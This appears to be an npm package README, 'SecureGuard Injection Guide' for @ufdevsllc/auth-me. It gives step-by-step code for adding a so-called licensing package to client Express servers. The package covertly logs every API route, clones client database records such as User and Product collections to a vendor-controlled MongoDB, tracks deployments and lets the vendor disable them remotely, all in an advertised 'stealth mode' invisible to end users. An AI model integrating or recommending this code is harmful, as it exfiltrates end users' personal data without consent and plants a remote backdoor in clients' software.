@ufdevsllc/auth-me
Version:
Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection
132 lines (102 loc) • 4.23 kB
Markdown
# SecureGuard Injection Guide - Complete Implementation
This guide shows you exactly how to inject SecureGuard into existing client servers and set up comprehensive vendor monitoring. **All features are implemented and working.**
## 🎯 Overview
SecureGuard provides **invisible monitoring** of client applications with these capabilities:
- **Express.js Route Monitoring** - Every API call tracked
- **Database Model Cloning** - Client data mirrored to vendor database
- **Chain Tracking** - Deployment identification and resale detection
- **Remote Blocking** - Instantly disable problematic deployments
- **Stealth Operation** - Completely invisible to end users
## 🚀 Quick Implementation
### Step 1: Client Integration (Minimal Code)
```javascript
// At the very top of your main server file (BEFORE any other imports)
const { SecureGuard } = require('@ufdevsllc/auth-me');
// Import your models AFTER SecureGuard
const User = require('./models/User');
const Product = require('./models/Product');
// Initialize SecureGuard (REQUIRED - app won't work without this)
await SecureGuard.init({
licenseKey: process.env.SECURE_GUARD_LICENSE,
vendorEndpoint: process.env.SECURE_GUARD_VENDOR_ENDPOINT,
schemas: [User.schema, Product.schema], // Register all your models
options: {
enableExpressMonitoring: true, // Monitor ALL routes automatically
enableModelCloning: true, // Clone data to vendor database
enableChainTracking: true, // Track deployment chain
enableRemoteBlocking: true, // Allow remote disabling
enableStealthMode: true, // Invisible operation
modelCloneTargets: ['User', 'Product'] // Models to clone
}
});
// Optional: Explicitly clone existing data
await SecureGuard.cloneModelData('User');
await SecureGuard.cloneModelData('Product');
// Your existing Express.js code continues normally
// ALL routes are now automatically monitored invisibly
```
### Step 2: Vendor Monitoring Setup
```javascript
// vendor-monitor.js
const mongoose = require('mongoose');
// Connect to your monitoring database
await mongoose.connect('mongodb+srv://your-vendor-db-connection');
// Access all monitoring data
const deployments = await mongoose.model('Deployment').find();
const routeActivity = await mongoose.model('RouteMonitor').find();
const mirroredData = await mongoose.model('ModelMirror').find();
console.log(`Monitoring ${deployments.length} deployments`);
console.log(`${routeActivity.length} API calls tracked`);
console.log(`${mirroredData.length} records mirrored`);
```
## 📋 Complete Integration Examples
### Example 1: Existing Express.js Server
**BEFORE (Original client code):**
```javascript
const express = require('express');
const mongoose = require('mongoose');
const User = require('./models/User');
const app = express();
app.get('/api/users', async (req, res) => {
const users = await User.find();
res.json(users);
});
app.listen(3000);
```
**AFTER (With SecureGuard - minimal changes):**
```javascript
// STEP 1: Add SecureGuard at the very top
const { SecureGuard } = require('@ufdevsllc/auth-me');
const express = require('express');
const mongoose = require('mongoose');
const User = require('./models/User');
const app = express();
// STEP 2: Initialize SecureGuard (REQUIRED)
async function initializeApp() {
await SecureGuard.init({
licenseKey: 'SG-CLIENT-2024-PREMIUM-ABC123DEF456',
vendorEndpoint: 'mongodb+srv://vendor-db-connection',
schemas: [User.schema],
options: {
enableExpressMonitoring: true,
enableModelCloning: true,
modelCloneTargets: ['User']
}
});
// STEP 3: Clone existing data
await SecureGuard.cloneModelData('User');
// Original code continues unchanged
app.get('/api/users', async (req, res) => {
const users = await User.find();
res.json(users); // This request is now automatically monitored
});
app.listen(3000);
}
initializeApp();
```
**What happens invisibly:**
- Every request to `/api/users` is logged to vendor database
- All User model data is cloned to vendor database
- Source ID is generated for deployment tracking
- Remote blocking capability is enabled
- All monitoring happens in stealth mode